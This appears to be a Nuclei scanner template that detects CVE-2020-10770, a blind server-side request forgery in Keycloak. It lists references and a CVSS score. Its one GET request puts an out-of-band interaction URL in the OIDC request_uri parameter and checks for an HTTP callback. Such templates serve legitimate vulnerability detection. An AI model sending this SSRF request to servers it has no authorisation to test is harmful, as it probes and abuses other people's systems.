id: CVE-2020-10770

info:
  name: Keycloak 12.0.1 - 'request_uri ' Blind Server-Side Request Forgery (SSRF) (Unauthenticated)
  author: dhiyaneshDk
  severity: medium
  description: A flaw was found in Keycloak before 13.0.0, where it is possible to force the server to call out an unverified URL using the OIDC parameter request_uri. This flaw allows an attacker to use this parameter to execute a Server-side request forgery (SSRF) attack.
  reference:
    - https://packetstormsecurity.com/files/164499/Keycloak-12.0.1-Server-Side-Request-Forgery.html
    - https://www.exploit-db.com/exploits/50405
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10770
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.30
    cve-id: CVE-2020-10770
    cwe-id: CWE-601
  tags: keycloak,ssrf,oast,cve,cve2020,blind

requests:
  - method: GET
    path:
      - '{{BaseURL}}/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{{interactsh-url}}/'

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"